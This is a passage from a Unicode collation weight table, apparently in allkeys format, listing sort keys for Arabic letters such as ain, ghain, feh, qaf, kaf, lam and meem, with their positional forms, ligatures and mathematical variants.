MEDIAL FORM -FECA ; [.236E.0020.0019] # ARABIC LETTER AIN FINAL FORM -FEC9 ; [.236E.0020.001A] # ARABIC LETTER AIN ISOLATED FORM -FCBA ; [.236E.0020.0017][.2325.0020.0017] # ARABIC LIGATURE AIN WITH JEEM INITIAL FORM -FC29 ; [.236E.0020.001A][.2325.0020.001A] # ARABIC LIGATURE AIN WITH JEEM ISOLATED FORM -FDC4 ; [.236E.0020.0017][.2325.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE AIN WITH JEEM WITH MEEM INITIAL FORM -FD75 ; [.236E.0020.0019][.2325.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE AIN WITH JEEM WITH MEEM FINAL FORM -FDF7 ; [.236E.0020.001A][.239C.0020.001A][.23C6.0020.001A][.23B1.0020.001A] # ARABIC LIGATURE ALAYHE ISOLATED FORM -FCBB ; [.236E.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE AIN WITH MEEM INITIAL FORM -FC2A ; [.236E.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE AIN WITH MEEM ISOLATED FORM -FD77 ; [.236E.0020.0017][.23A3.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE AIN WITH MEEM WITH MEEM INITIAL FORM -FD76 ; [.236E.0020.0019][.23A3.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE AIN WITH MEEM WITH MEEM FINAL FORM -FD78 ; [.236E.0020.0019][.23A3.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE AIN WITH MEEM WITH ALEF MAKSURA FINAL FORM -FDB6 ; [.236E.0020.0019][.23A3.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE AIN WITH MEEM WITH YEH FINAL FORM -FD13 ; [.236E.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE AIN WITH ALEF MAKSURA FINAL FORM -FCF7 ; [.236E.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE AIN WITH ALEF MAKSURA ISOLATED FORM -FD14 ; [.236E.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE AIN WITH YEH FINAL FORM -FCF8 ; [.236E.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE AIN WITH YEH ISOLATED FORM -063A ; [.236F.0020.0002] # ARABIC LETTER GHAIN -1EE1B ; [.236F.0020.0005] # ARABIC MATHEMATICAL GHAIN -1EE3B ; [.236F.0020.0005] # ARABIC MATHEMATICAL INITIAL GHAIN -1EE5B ; [.236F.0020.0005] # ARABIC MATHEMATICAL TAILED GHAIN -1EE7B ; [.236F.0020.0005] # ARABIC MATHEMATICAL STRETCHED GHAIN -1EE9B ; [.236F.0020.0005] # ARABIC MATHEMATICAL LOOPED GHAIN -1EEBB ; [.236F.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK GHAIN -FECF ; [.236F.0020.0017] # ARABIC LETTER GHAIN INITIAL FORM -FED0 ; [.236F.0020.0018] # ARABIC LETTER GHAIN MEDIAL FORM -FECE ; [.236F.0020.0019] # ARABIC LETTER GHAIN FINAL FORM -FECD ; [.236F.0020.001A] # ARABIC LETTER GHAIN ISOLATED FORM -FCBC ; [.236F.0020.0017][.2325.0020.0017] # ARABIC LIGATURE GHAIN WITH JEEM INITIAL FORM -FC2B ; [.236F.0020.001A][.2325.0020.001A] # ARABIC LIGATURE GHAIN WITH JEEM ISOLATED FORM -FCBD ; [.236F.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE GHAIN WITH MEEM INITIAL FORM -FC2C ; [.236F.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE GHAIN WITH MEEM ISOLATED FORM -FD79 ; [.236F.0020.0019][.23A3.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE GHAIN WITH MEEM WITH MEEM FINAL FORM -FD7B ; [.236F.0020.0019][.23A3.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE GHAIN WITH MEEM WITH ALEF MAKSURA FINAL FORM -FD7A ; [.236F.0020.0019][.23A3.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE GHAIN WITH MEEM WITH YEH FINAL FORM -FD15 ; [.236F.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE GHAIN WITH ALEF MAKSURA FINAL FORM -FCF9 ; [.236F.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE GHAIN WITH ALEF MAKSURA ISOLATED FORM -FD16 ; [.236F.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE GHAIN WITH YEH FINAL FORM -FCFA ; [.236F.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE GHAIN WITH YEH ISOLATED FORM -06A0 ; [.2370.0020.0002] # ARABIC LETTER AIN WITH THREE DOTS ABOVE -06FC ; [.2371.0020.0002] # ARABIC LETTER GHAIN WITH DOT BELOW -075D ; [.2372.0020.0002] # ARABIC LETTER AIN WITH TWO DOTS ABOVE -075E ; [.2373.0020.0002] # ARABIC LETTER AIN WITH THREE DOTS POINTING DOWNWARDS ABOVE -075F ; [.2374.0020.0002] # ARABIC LETTER AIN WITH TWO DOTS VERTICALLY ABOVE -08B3 ; [.2375.0020.0002] # ARABIC LETTER AIN WITH THREE DOTS BELOW -0641 ; [.2376.0020.0002] # ARABIC LETTER FEH -1EE10 ; [.2376.0020.0005] # ARABIC MATHEMATICAL FEH -1EE30 ; [.2376.0020.0005] # ARABIC MATHEMATICAL INITIAL FEH -1EE70 ; [.2376.0020.0005] # ARABIC MATHEMATICAL STRETCHED FEH -1EE90 ; [.2376.0020.0005] # ARABIC MATHEMATICAL LOOPED FEH -1EEB0 ; [.2376.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK FEH -FED3 ; [.2376.0020.0017] # ARABIC LETTER FEH INITIAL FORM -FED4 ; [.2376.0020.0018] # ARABIC LETTER FEH MEDIAL FORM -FED2 ; [.2376.0020.0019] # ARABIC LETTER FEH FINAL FORM -FED1 ; [.2376.0020.001A] # ARABIC LETTER FEH ISOLATED FORM -FCBE ; [.2376.0020.0017][.2325.0020.0017] # ARABIC LIGATURE FEH WITH JEEM INITIAL FORM -FC2D ; [.2376.0020.001A][.2325.0020.001A] # ARABIC LIGATURE FEH WITH JEEM ISOLATED FORM -FCBF ; [.2376.0020.0017][.232C.0020.0017] # ARABIC LIGATURE FEH WITH HAH INITIAL FORM -FC2E ; [.2376.0020.001A][.232C.0020.001A] # ARABIC LIGATURE FEH WITH HAH ISOLATED FORM -FCC0 ; [.2376.0020.0017][.232D.0020.0017] # ARABIC LIGATURE FEH WITH KHAH INITIAL FORM -FC2F ; [.2376.0020.001A][.232D.0020.001A] # ARABIC LIGATURE FEH WITH KHAH ISOLATED FORM -FD7D ; [.2376.0020.0017][.232D.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE FEH WITH KHAH WITH MEEM INITIAL FORM -FD7C ; [.2376.0020.0019][.232D.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE FEH WITH KHAH WITH MEEM FINAL FORM -FCC1 ; [.2376.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE FEH WITH MEEM INITIAL FORM -FC30 ; [.2376.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE FEH WITH MEEM ISOLATED FORM -FDC1 ; [.2376.0020.0019][.23A3.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE FEH WITH MEEM WITH YEH FINAL FORM -FC7C ; [.2376.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE FEH WITH ALEF MAKSURA FINAL FORM -FC31 ; [.2376.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE FEH WITH ALEF MAKSURA ISOLATED FORM -FC7D ; [.2376.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE FEH WITH YEH FINAL FORM -FC32 ; [.2376.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE FEH WITH YEH ISOLATED FORM -06A1 ; [.2377.0020.0002] # ARABIC LETTER DOTLESS FEH -1EE1E ; [.2377.0020.0005] # ARABIC MATHEMATICAL DOTLESS FEH -1EE7E ; [.2377.0020.0005] # ARABIC MATHEMATICAL STRETCHED DOTLESS FEH -06A2 ; [.2378.0020.0002] # ARABIC LETTER FEH WITH DOT MOVED BELOW -08BB ; [.2379.0020.0002] # ARABIC LETTER AFRICAN FEH -06A3 ; [.237A.0020.0002] # ARABIC LETTER FEH WITH DOT BELOW -06A4 ; [.237B.0020.0002] # ARABIC LETTER VEH -FB6C ; [.237B.0020.0017] # ARABIC LETTER VEH INITIAL FORM -FB6D ; [.237B.0020.0018] # ARABIC LETTER VEH MEDIAL FORM -FB6B ; [.237B.0020.0019] # ARABIC LETTER VEH FINAL FORM -FB6A ; [.237B.0020.001A] # ARABIC LETTER VEH ISOLATED FORM -08A4 ; [.237C.0020.0002] # ARABIC LETTER FEH WITH DOT BELOW AND THREE DOTS ABOVE -06A5 ; [.237D.0020.0002] # ARABIC LETTER FEH WITH THREE DOTS BELOW -06A6 ; [.237E.0020.0002] # ARABIC LETTER PEHEH -FB70 ; [.237E.0020.0017] # ARABIC LETTER PEHEH INITIAL FORM -FB71 ; [.237E.0020.0018] # ARABIC LETTER PEHEH MEDIAL FORM -FB6F ; [.237E.0020.0019] # ARABIC LETTER PEHEH FINAL FORM -FB6E ; [.237E.0020.001A] # ARABIC LETTER PEHEH ISOLATED FORM -0760 ; [.237F.0020.0002] # ARABIC LETTER FEH WITH TWO DOTS BELOW -0761 ; [.2380.0020.0002] # ARABIC LETTER FEH WITH THREE DOTS POINTING UPWARDS BELOW -066F ; [.2381.0020.0002] # ARABIC LETTER DOTLESS QAF -1EE1F ; [.2381.0020.0005] # ARABIC MATHEMATICAL DOTLESS QAF -1EE5F ; [.2381.0020.0005] # ARABIC MATHEMATICAL TAILED DOTLESS QAF -0642 ; [.2382.0020.0002] # ARABIC LETTER QAF -1EE12 ; [.2382.0020.0005] # ARABIC MATHEMATICAL QAF -1EE32 ; [.2382.0020.0005] # ARABIC MATHEMATICAL INITIAL QAF -1EE52 ; [.2382.0020.0005] # ARABIC MATHEMATICAL TAILED QAF -1EE72 ; [.2382.0020.0005] # ARABIC MATHEMATICAL STRETCHED QAF -1EE92 ; [.2382.0020.0005] # ARABIC MATHEMATICAL LOOPED QAF -1EEB2 ; [.2382.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK QAF -FED7 ; [.2382.0020.0017] # ARABIC LETTER QAF INITIAL FORM -FED8 ; [.2382.0020.0018] # ARABIC LETTER QAF MEDIAL FORM -FED6 ; [.2382.0020.0019] # ARABIC LETTER QAF FINAL FORM -FED5 ; [.2382.0020.001A] # ARABIC LETTER QAF ISOLATED FORM -FCC2 ; [.2382.0020.0017][.232C.0020.0017] # ARABIC LIGATURE QAF WITH HAH INITIAL FORM -FC33 ; [.2382.0020.001A][.232C.0020.001A] # ARABIC LIGATURE QAF WITH HAH ISOLATED FORM -FDF1 ; [.2382.0020.001A][.239C.0020.001A][.23D4.0020.001A] # ARABIC LIGATURE QALA USED AS KORANIC STOP SIGN ISOLATED FORM -FCC3 ; [.2382.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE QAF WITH MEEM INITIAL FORM -FC34 ; [.2382.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE QAF WITH MEEM ISOLATED FORM -FDB4 ; [.2382.0020.0017][.23A3.0020.0017][.232C.0020.0017] # ARABIC LIGATURE QAF WITH MEEM WITH HAH INITIAL FORM -FD7E ; [.2382.0020.0019][.23A3.0020.0019][.232C.0020.0019] # ARABIC LIGATURE QAF WITH MEEM WITH HAH FINAL FORM -FD7F ; [.2382.0020.0019][.23A3.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE QAF WITH MEEM WITH MEEM FINAL FORM -FDB2 ; [.2382.0020.0019][.23A3.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE QAF WITH MEEM WITH YEH FINAL FORM -FC7E ; [.2382.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE QAF WITH ALEF MAKSURA FINAL FORM -FC35 ; [.2382.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE QAF WITH ALEF MAKSURA ISOLATED FORM -FC7F ; [.2382.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE QAF WITH YEH FINAL FORM -FC36 ; [.2382.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE QAF WITH YEH ISOLATED FORM -06A7 ; [.2383.0020.0002] # ARABIC LETTER QAF WITH DOT ABOVE -08BC ; [.2384.0020.0002] # ARABIC LETTER AFRICAN QAF -06A8 ; [.2385.0020.0002] # ARABIC LETTER QAF WITH THREE DOTS ABOVE -08A5 ; [.2386.0020.0002] # ARABIC LETTER QAF WITH DOT BELOW -0643 ; [.2387.0020.0002] # ARABIC LETTER KAF -1EE0A ; [.2387.0020.0005] # ARABIC MATHEMATICAL KAF -1EE2A ; [.2387.0020.0005] # ARABIC MATHEMATICAL INITIAL KAF -1EE6A ; [.2387.0020.0005] # ARABIC MATHEMATICAL STRETCHED KAF -FEDB ; [.2387.0020.0017] # ARABIC LETTER KAF INITIAL FORM -FEDC ; [.2387.0020.0018] # ARABIC LETTER KAF MEDIAL FORM -FEDA ; [.2387.0020.0019] # ARABIC LETTER KAF FINAL FORM -FED9 ; [.2387.0020.001A] # ARABIC LETTER KAF ISOLATED FORM -FC80 ; [.2387.0020.0019][.230B.0020.0019] # ARABIC LIGATURE KAF WITH ALEF FINAL FORM -FC37 ; [.2387.0020.001A][.230B.0020.001A] # ARABIC LIGATURE KAF WITH ALEF ISOLATED FORM -FCC4 ; [.2387.0020.0017][.2325.0020.0017] # ARABIC LIGATURE KAF WITH JEEM INITIAL FORM -FC38 ; [.2387.0020.001A][.2325.0020.001A] # ARABIC LIGATURE KAF WITH JEEM ISOLATED FORM -FCC5 ; [.2387.0020.0017][.232C.0020.0017] # ARABIC LIGATURE KAF WITH HAH INITIAL FORM -FC39 ; [.2387.0020.001A][.232C.0020.001A] # ARABIC LIGATURE KAF WITH HAH ISOLATED FORM -FCC6 ; [.2387.0020.0017][.232D.0020.0017] # ARABIC LIGATURE KAF WITH KHAH INITIAL FORM -FC3A ; [.2387.0020.001A][.232D.0020.001A] # ARABIC LIGATURE KAF WITH KHAH ISOLATED FORM -FCC7 ; [.2387.0020.0017][.239C.0020.0017] # ARABIC LIGATURE KAF WITH LAM INITIAL FORM -FCEB ; [.2387.0020.0018][.239C.0020.0018] # ARABIC LIGATURE KAF WITH LAM MEDIAL FORM -FC81 ; [.2387.0020.0019][.239C.0020.0019] # ARABIC LIGATURE KAF WITH LAM FINAL FORM -FC3B ; [.2387.0020.001A][.239C.0020.001A] # ARABIC LIGATURE KAF WITH LAM ISOLATED FORM -FCC8 ; [.2387.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE KAF WITH MEEM INITIAL FORM -FCEC ; [.2387.0020.0018][.23A3.0020.0018] # ARABIC LIGATURE KAF WITH MEEM MEDIAL FORM -FC82 ; [.2387.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE KAF WITH MEEM FINAL FORM -FC3C ; [.2387.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE KAF WITH MEEM ISOLATED FORM -FDC3 ; [.2387.0020.0017][.23A3.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE KAF WITH MEEM WITH MEEM INITIAL FORM -FDBB ; [.2387.0020.0019][.23A3.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE KAF WITH MEEM WITH MEEM FINAL FORM -FDB7 ; [.2387.0020.0019][.23A3.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE KAF WITH MEEM WITH YEH FINAL FORM -FC83 ; [.2387.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE KAF WITH ALEF MAKSURA FINAL FORM -FC3D ; [.2387.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE KAF WITH ALEF MAKSURA ISOLATED FORM -FC84 ; [.2387.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE KAF WITH YEH FINAL FORM -FC3E ; [.2387.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE KAF WITH YEH ISOLATED FORM -06A9 ; [.2388.0020.0002] # ARABIC LETTER KEHEH -FB90 ; [.2388.0020.0017] # ARABIC LETTER KEHEH INITIAL FORM -FB91 ; [.2388.0020.0018] # ARABIC LETTER KEHEH MEDIAL FORM -FB8F ; [.2388.0020.0019] # ARABIC LETTER KEHEH FINAL FORM -FB8E ; [.2388.0020.001A] # ARABIC LETTER KEHEH ISOLATED FORM -06AA ; [.2389.0020.0002] # ARABIC LETTER SWASH KAF -06AB ; [.238A.0020.0002] # ARABIC LETTER KAF WITH RING -06AC ; [.238B.0020.0002] # ARABIC LETTER KAF WITH DOT ABOVE -077F ; [.238C.0020.0002] # ARABIC LETTER KAF WITH TWO DOTS ABOVE -06AD ; [.238D.0020.0002] # ARABIC LETTER NG -FBD5 ; [.238D.0020.0017] # ARABIC LETTER NG INITIAL FORM -FBD6 ; [.238D.0020.0018] # ARABIC LETTER NG MEDIAL FORM -FBD4 ; [.238D.0020.0019] # ARABIC LETTER NG FINAL FORM -FBD3 ; [.238D.0020.001A] # ARABIC LETTER NG ISOLATED FORM -06AE ; [.238E.0020.0002] # ARABIC LETTER KAF WITH THREE DOTS BELOW -08B4 ; [.238F.0020.0002] # ARABIC LETTER KAF WITH DOT BELOW -06AF ; [.2390.0020.0002] # ARABIC LETTER GAF -FB94 ; [.2390.0020.0017] # ARABIC LETTER GAF INITIAL FORM -FB95 ; [.2390.0020.0018] # ARABIC LETTER GAF MEDIAL FORM -FB93 ; [.2390.0020.0019] # ARABIC LETTER GAF FINAL FORM -FB92 ; [.2390.0020.001A] # ARABIC LETTER GAF ISOLATED FORM -08B0 ; [.2391.0020.0002] # ARABIC LETTER GAF WITH INVERTED STROKE -06B0 ; [.2392.0020.0002] # ARABIC LETTER GAF WITH RING -06B1 ; [.2393.0020.0002] # ARABIC LETTER NGOEH -FB9C ; [.2393.0020.0017] # ARABIC LETTER NGOEH INITIAL FORM -FB9D ; [.2393.0020.0018] # ARABIC LETTER NGOEH MEDIAL FORM -FB9B ; [.2393.0020.0019] # ARABIC LETTER NGOEH FINAL FORM -FB9A ; [.2393.0020.001A] # ARABIC LETTER NGOEH ISOLATED FORM -06B2 ; [.2394.0020.0002] # ARABIC LETTER GAF WITH TWO DOTS BELOW -06B3 ; [.2395.0020.0002] # ARABIC LETTER GUEH -FB98 ; [.2395.0020.0017] # ARABIC LETTER GUEH INITIAL FORM -FB99 ; [.2395.0020.0018] # ARABIC LETTER GUEH MEDIAL FORM -FB97 ; [.2395.0020.0019] # ARABIC LETTER GUEH FINAL FORM -FB96 ; [.2395.0020.001A] # ARABIC LETTER GUEH ISOLATED FORM -06B4 ; [.2396.0020.0002] # ARABIC LETTER GAF WITH THREE DOTS ABOVE -0762 ; [.2397.0020.0002] # ARABIC LETTER KEHEH WITH DOT ABOVE -063B ; [.2398.0020.0002] # ARABIC LETTER KEHEH WITH TWO DOTS ABOVE -063C ; [.2399.0020.0002] # ARABIC LETTER KEHEH WITH THREE DOTS BELOW -0763 ; [.239A.0020.0002] # ARABIC LETTER KEHEH WITH THREE DOTS ABOVE -0764 ; [.239B.0020.0002] # ARABIC LETTER KEHEH WITH THREE DOTS POINTING UPWARDS BELOW -0644 ; [.239C.0020.0002] # ARABIC LETTER LAM -1EE0B ; [.239C.0020.0005] # ARABIC MATHEMATICAL LAM -1EE2B ; [.239C.0020.0005] # ARABIC MATHEMATICAL INITIAL LAM -1EE4B ; [.239C.0020.0005] # ARABIC MATHEMATICAL TAILED LAM -1EE8B ; [.239C.0020.0005] # ARABIC MATHEMATICAL LOOPED LAM -1EEAB ; [.239C.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK LAM -FEDF ; [.239C.0020.0017] # ARABIC LETTER LAM INITIAL FORM -FEE0 ; [.239C.0020.0018] # ARABIC LETTER LAM MEDIAL FORM -FEDE ; [.239C.0020.0019] # ARABIC LETTER LAM FINAL FORM -FEDD ; [.239C.0020.001A] # ARABIC LETTER LAM ISOLATED FORM -FEF6 ; [.239C.0020.0019][.22FE.0020.0019] # ARABIC LIGATURE LAM WITH ALEF WITH MADDA ABOVE FINAL FORM -FEF5 ; [.239C.0020.001A][.22FE.0020.001A] # ARABIC LIGATURE LAM WITH ALEF WITH MADDA ABOVE ISOLATED FORM -FEF8 ; [.239C.0020.0019][.22FF.0020.0019] # ARABIC LIGATURE LAM WITH ALEF WITH HAMZA ABOVE FINAL FORM -FEF7 ; [.239C.0020.001A][.22FF.0020.001A] # ARABIC LIGATURE LAM WITH ALEF WITH HAMZA ABOVE ISOLATED FORM -FEFA ; [.239C.0020.0019][.2303.0020.0019] # ARABIC LIGATURE LAM WITH ALEF WITH HAMZA BELOW FINAL FORM -FEF9 ; [.239C.0020.001A][.2303.0020.001A] # ARABIC LIGATURE LAM WITH ALEF WITH HAMZA BELOW ISOLATED FORM -FEFC ; [.239C.0020.0019][.230B.0020.0019] # ARABIC LIGATURE LAM WITH ALEF FINAL FORM -FEFB ; [.239C.0020.001A][.230B.0020.001A] # ARABIC LIGATURE LAM WITH ALEF ISOLATED FORM -FCC9 ; [.239C.0020.0017][.2325.0020.0017] # ARABIC LIGATURE LAM WITH JEEM INITIAL FORM -FC3F ; [.239C.0020.001A][.2325.0020.001A] # ARABIC LIGATURE LAM WITH JEEM ISOLATED FORM -FD83 ; [.239C.0020.0017][.2325.0020.0017][.2325.0020.0017] # ARABIC LIGATURE LAM WITH JEEM WITH JEEM INITIAL FORM -FD84 ; [.239C.0020.0019][.2325.0020.0019][.2325.0020.0019] # ARABIC LIGATURE LAM WITH JEEM WITH JEEM FINAL FORM -FDBA ; [.239C.0020.0017][.2325.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE LAM WITH JEEM WITH MEEM INITIAL FORM -FDBC ; [.239C.0020.0019][.2325.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE LAM WITH JEEM WITH MEEM FINAL FORM -FDAC ; [.239C.0020.0019][.2325.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE LAM WITH JEEM WITH YEH FINAL FORM -FCCA ; [.239C.0020.0017][.232C.0020.0017] # ARABIC LIGATURE LAM WITH HAH INITIAL FORM -FC40 ; [.239C.0020.001A][.232C.0020.001A] # ARABIC LIGATURE LAM WITH HAH ISOLATED FORM -FDB5 ; [.239C.0020.0017][.232C.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE LAM WITH HAH WITH MEEM INITIAL FORM -FD80 ; [.239C.0020.0019][.232C.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE LAM WITH HAH WITH MEEM FINAL FORM -FD82 ; [.239C.0020.0019][.232C.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE LAM WITH HAH WITH ALEF MAKSURA FINAL FORM -FD81 ; [.239C.0020.0019][.232C.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE LAM WITH HAH WITH YEH FINAL FORM -FCCB ; [.239C.0020.0017][.232D.0020.0017] # ARABIC LIGATURE LAM WITH KHAH INITIAL FORM -FC41 ; [.239C.0020.001A][.232D.0020.001A] # ARABIC LIGATURE LAM WITH KHAH ISOLATED FORM -FD86 ; [.239C.0020.0017][.232D.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE LAM WITH KHAH WITH MEEM INITIAL FORM -FD85 ; [.239C.0020.0019][.232D.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE LAM WITH KHAH WITH MEEM FINAL FORM -FCCC ; [.239C.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE LAM WITH MEEM INITIAL FORM -FCED ; [.239C.0020.0018][.23A3.0020.0018] # ARABIC LIGATURE LAM WITH MEEM MEDIAL FORM -FC85 ; [.239C.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE LAM WITH MEEM FINAL FORM -FC42 ; [.239C.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE LAM WITH MEEM ISOLATED FORM -FD88 ; [.239C.0020.0017][.23A3.0020.0017][.232C.0020.0017] # ARABIC LIGATURE LAM WITH MEEM WITH HAH INITIAL FORM -FD87 ; [.239C.0020.0019][.23A3.0020.0019][.232C.0020.0019] # ARABIC LIGATURE LAM WITH MEEM WITH HAH FINAL FORM -FDAD ; [.239C.0020.0019][.23A3.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE LAM WITH MEEM WITH YEH FINAL FORM -FCCD ; [.239C.0020.0017][.23B1.0020.0017] # ARABIC LIGATURE LAM WITH HEH INITIAL FORM -FC86 ; [.239C.0020.0019][.23C5.0020.0019] # ARABIC LIGATURE LAM WITH ALEF MAKSURA FINAL FORM -FC43 ; [.239C.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE LAM WITH ALEF MAKSURA ISOLATED FORM -FC87 ; [.239C.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE LAM WITH YEH FINAL FORM -FC44 ; [.239C.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE LAM WITH YEH ISOLATED FORM -06B5 ; [.239D.0020.0002] # ARABIC LETTER LAM WITH SMALL V -06B6 ; [.239E.0020.0002] # ARABIC LETTER LAM WITH DOT ABOVE -06B7 ; [.239F.0020.0002] # ARABIC LETTER LAM WITH THREE DOTS ABOVE -06B8 ; [.23A0.0020.0002] # ARABIC LETTER LAM WITH THREE DOTS BELOW -076A ; [.23A1.0020.0002] # ARABIC LETTER LAM WITH BAR -08A6 ; [.23A2.0020.0002] # ARABIC LETTER LAM WITH DOUBLE BAR -0645 ; [.23A3.0020.0002] # ARABIC LETTER MEEM -1EE0C ; [.23A3.0020.0005] # ARABIC MATHEMATICAL MEEM -1EE2C ; [.23A3.0020.0005] # ARABIC MATHEMATICAL INITIAL MEEM -1EE6C ; [.23A3.0020.0005] # ARABIC MATHEMATICAL STRETCHED MEEM -1EE8C ; [.23A3.0020.0005] # ARABIC MATHEMATICAL LOOPED MEEM -1EEAC ; [.23A3.0020.0005] # ARABIC MATHEMATICAL DOUBLE-STRUCK MEEM -FEE3 ; [.23A3.0020.0017] # ARABIC LETTER MEEM INITIAL FORM -FEE4 ; [.23A3.0020.0018] # ARABIC LETTER MEEM MEDIAL FORM -FEE2 ; [.23A3.0020.0019] # ARABIC LETTER MEEM FINAL FORM -FEE1 ; [.23A3.0020.001A] # ARABIC LETTER MEEM ISOLATED FORM -06FE ; [.23A3.0020.0004][.0000.0111.0004] # ARABIC SIGN SINDHI POSTPOSITION MEN -FC88 ; [.23A3.0020.0019][.230B.0020.0019] # ARABIC LIGATURE MEEM WITH ALEF FINAL FORM -FCCE ; [.23A3.0020.0017][.2325.0020.0017] # ARABIC LIGATURE MEEM WITH JEEM INITIAL FORM -FC45 ; [.23A3.0020.001A][.2325.0020.001A] # ARABIC LIGATURE MEEM WITH JEEM ISOLATED FORM -FD8C ; [.23A3.0020.0017][.2325.0020.0017][.232C.0020.0017] # ARABIC LIGATURE MEEM WITH JEEM WITH HAH INITIAL FORM -FD92 ; [.23A3.0020.0017][.2325.0020.0017][.232D.0020.0017] # ARABIC LIGATURE MEEM WITH JEEM WITH KHAH INITIAL FORM -FD8D ; [.23A3.0020.0017][.2325.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE MEEM WITH JEEM WITH MEEM INITIAL FORM -FDC0 ; [.23A3.0020.0019][.2325.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE MEEM WITH JEEM WITH YEH FINAL FORM -FCCF ; [.23A3.0020.0017][.232C.0020.0017] # ARABIC LIGATURE MEEM WITH HAH INITIAL FORM -FC46 ; [.23A3.0020.001A][.232C.0020.001A] # ARABIC LIGATURE MEEM WITH HAH ISOLATED FORM -FD89 ; [.23A3.0020.0017][.232C.0020.0017][.2325.0020.0017] # ARABIC LIGATURE MEEM WITH HAH WITH JEEM INITIAL FORM -FD8A ; [.23A3.0020.0017][.232C.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE MEEM WITH HAH WITH MEEM INITIAL FORM -FDF4 ; [.23A3.0020.001A][.232C.0020.001A][.23A3.0020.001A][.2337.0020.001A] # ARABIC LIGATURE MOHAMMAD ISOLATED FORM -FD8B ; [.23A3.0020.0019][.232C.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE MEEM WITH HAH WITH YEH FINAL FORM -FCD0 ; [.23A3.0020.0017][.232D.0020.0017] # ARABIC LIGATURE MEEM WITH KHAH INITIAL FORM -FC47 ; [.23A3.0020.001A][.232D.0020.001A] # ARABIC LIGATURE MEEM WITH KHAH ISOLATED FORM -FD8E ; [.23A3.0020.0017][.232D.0020.0017][.2325.0020.0017] # ARABIC LIGATURE MEEM WITH KHAH WITH JEEM INITIAL FORM -FD8F ; [.23A3.0020.0017][.232D.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE MEEM WITH KHAH WITH MEEM INITIAL FORM -FDB9 ; [.23A3.0020.0019][.232D.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE MEEM WITH KHAH WITH YEH FINAL FORM -FCD1 ; [.23A3.0020.0017][.23A3.0020.0017] # ARABIC LIGATURE MEEM WITH MEEM INITIAL FORM -FC89 ; [.23A3.0020.0019][.23A3.0020.0019] # ARABIC LIGATURE MEEM WITH MEEM FINAL FORM -FC48 ; [.23A3.0020.001A][.23A3.0020.001A] # ARABIC LIGATURE MEEM WITH MEEM ISOLATED FORM -FDB1 ; [.23A3.0020.0019][.23A3.0020.0019][.23C6.0020.0019] # ARABIC LIGATURE MEEM WITH MEEM WITH YEH FINAL FORM -FC49 ; [.23A3.0020.001A][.23C5.0020.001A] # ARABIC LIGATURE MEEM WITH ALEF MAKSURA ISOLATED FORM -FC4A ; [.23A3.0020.001A][.23C6.0020.001A] # ARABIC LIGATURE MEEM WITH YEH ISOLATED FORM -0765 ; [.23A4.0020.0002] # 